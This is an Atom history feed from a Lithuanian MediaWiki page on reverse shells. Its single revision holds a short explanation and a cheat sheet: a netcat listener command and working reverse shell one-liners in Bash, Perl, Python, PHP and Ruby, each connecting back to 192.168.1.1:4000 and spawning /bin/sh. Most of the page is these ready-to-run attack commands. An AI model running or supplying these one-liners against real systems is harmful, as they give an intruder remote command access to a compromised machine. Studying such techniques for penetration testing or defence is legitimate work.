<?xml version="1.0"?>
<feed xmlns="http://www.w3.org/2005/Atom" xml:lang="lt">
	<id>https://wiki.eofnet.lt/w//index.php?action=history&amp;feed=atom&amp;title=Reverse_shellai</id>
	<title>Reverse shellai - Versijų istorija</title>
	<link rel="self" type="application/atom+xml" href="https://wiki.eofnet.lt/w//index.php?action=history&amp;feed=atom&amp;title=Reverse_shellai"/>
	<link rel="alternate" type="text/html" href="https://wiki.eofnet.lt/w//index.php?title=Reverse_shellai&amp;action=history"/>
	<updated>2026-04-24T06:33:38Z</updated>
	<subtitle>Šio puslapio versijų istorija projekte</subtitle>
	<generator>MediaWiki 1.35.1</generator>
	<entry>
		<id>https://wiki.eofnet.lt/w//index.php?title=Reverse_shellai&amp;diff=7828&amp;oldid=prev</id>
		<title>\dev\null 07:31, 18 birželio 2016</title>
		<link rel="alternate" type="text/html" href="https://wiki.eofnet.lt/w//index.php?title=Reverse_shellai&amp;diff=7828&amp;oldid=prev"/>
		<updated>2016-06-18T07:31:36Z</updated>

		<summary type="html">&lt;p&gt;&lt;/p&gt;
&lt;p&gt;&lt;b&gt;Naujas puslapis&lt;/b&gt;&lt;/p&gt;&lt;div&gt;Koncepcija paprasta, lokaliame kompiuteryje paleidžiamas klausymosi įrankis (šiuo atveju netcat), iš nutolusios mašinos laukiama prisijungimo bei shell redirect'o. Nutolusioje mašinoje išmėginsime įvairius metodus kol gausime tinkamiausią ir veikiantį.&lt;br /&gt;
&lt;br /&gt;
Keletas faktų:&lt;br /&gt;
* Nutolusios mašinos ip: 192.168.1.38&lt;br /&gt;
* Lokalios mašinos ip: 192.168.1.1&lt;br /&gt;
&lt;br /&gt;
== Lokalios mašinos paruošimas ==&lt;br /&gt;
&lt;br /&gt;
Paleidžiame netcat (pasiklausymo režimu)&lt;br /&gt;
 nc -lvp 4000&lt;br /&gt;
&lt;br /&gt;
== Nutolusios mašinos reverse shell metodai ==&lt;br /&gt;
&lt;br /&gt;
=== Bash ===&lt;br /&gt;
&lt;br /&gt;
 bash -i &amp;gt;&amp;amp; /dev/tcp/192.168.1.1/4000 0&amp;gt;&amp;amp;1&lt;br /&gt;
&lt;br /&gt;
=== Perl ===&lt;br /&gt;
&lt;br /&gt;
 perl -e 'use Socket;$i=&amp;quot;192.168.1.1&amp;quot;;$p=4000;socket(S,PF_INET,SOCK_STREAM,getprotobyname(&amp;quot;tcp&amp;quot;));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,&amp;quot;&amp;gt;&amp;amp;S&amp;quot;);open(STDOUT,&amp;quot;&amp;gt;&amp;amp;S&amp;quot;);open(STDERR,&amp;quot;&amp;gt;&amp;amp;S&amp;quot;);exec(&amp;quot;/bin/sh -i&amp;quot;);};'&lt;br /&gt;
&lt;br /&gt;
=== Bidonas (2.7) ===&lt;br /&gt;
&lt;br /&gt;
 python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((&amp;quot;192.168.1.1&amp;quot;,4000));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([&amp;quot;/bin/sh&amp;quot;,&amp;quot;-i&amp;quot;]);'&lt;br /&gt;
&lt;br /&gt;
=== Php ===&lt;br /&gt;
&lt;br /&gt;
 php -r '$sock=fsockopen(&amp;quot;192.168.1.1&amp;quot;,4000);exec(&amp;quot;/bin/sh -i &amp;lt;&amp;amp;3 &amp;gt;&amp;amp;3 2&amp;gt;&amp;amp;3&amp;quot;);' &lt;br /&gt;
&lt;br /&gt;
=== Rublis ===&lt;br /&gt;
&lt;br /&gt;
 ruby -rsocket -e'f=TCPSocket.open(&amp;quot;192.168.1.1&amp;quot;,4000).to_i;exec sprintf(&amp;quot;/bin/sh -i &amp;lt;&amp;amp;%d &amp;gt;&amp;amp;%d 2&amp;gt;&amp;amp;%d&amp;quot;,f,f,f)'&lt;br /&gt;
&lt;br /&gt;
[[Category:Tinklas]]&lt;br /&gt;
[[Category:Saugumas]]&lt;/div&gt;</summary>
		<author><name>\dev\null</name></author>
	</entry>
</feed>